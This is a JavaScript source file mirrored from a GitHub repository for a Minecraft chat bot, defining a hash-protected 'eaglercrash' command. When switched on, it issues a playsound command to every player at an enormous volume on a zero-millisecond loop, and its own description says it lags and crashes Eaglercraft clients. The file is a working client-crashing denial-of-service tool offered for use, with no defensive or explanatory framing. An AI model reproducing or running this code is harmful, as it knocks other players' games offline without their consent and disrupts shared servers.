mirror of
https://github.com/ChomeNS/chomens-bot-mc.git
synced 2024-12-18 03:12:23 -05:00
31 lines
1 KiB
JavaScript
31 lines
1 KiB
JavaScript
|
/* eslint-disable max-len */
|
||
|
module.exports = {
|
||
|
name: 'eaglercrash',
|
||
|
alias: [],
|
||
|
description: 'Lags Eaglercraft and crashes it',
|
||
|
usage: '<on|off> <hash>',
|
||
|
trusted: 1,
|
||
|
execute: function(bot, username, usernameraw, sender, prefix, args) {
|
||
|
if (args[1]==='on') {
|
||
|
if (args[0]===bot.hash) {
|
||
|
bot.eaglercrashstarted = true;
|
||
|
bot.eaglercrash = setInterval(async function() {
|
||
|
if (bot.eaglercrashstarted===true) return bot.core.run('minecraft:playsound block.note_block.harp record @a ~ ~ ~ 100000000000000000000000000000000000000 1 0');
|
||
|
}, 0);
|
||
|
bot.core.run('minecraft:tellraw @a ["",{"text":"Eaglercrash started","color":"white"}]');
|
||
|
} else {
|
||
|
throw new Error('Invalid hash');
|
||
|
}
|
||
|
}
|
||
|
if (args[1]==='off') {
|
||
|
if (args[0]===bot.hash) {
|
||
|
clearInterval(bot.eaglercrash);
|
||
|
bot.eaglercrashstarted = false;
|
||
|
bot.core.run('minecraft:tellraw @a ["",{"text":"Eaglercrash stopped","color":"white"}]');
|
||
|
} else {
|
||
|
throw new Error('Invalid hash');
|
||
|
}
|
||
|
}
|
||
|
},
|
||
|
};
|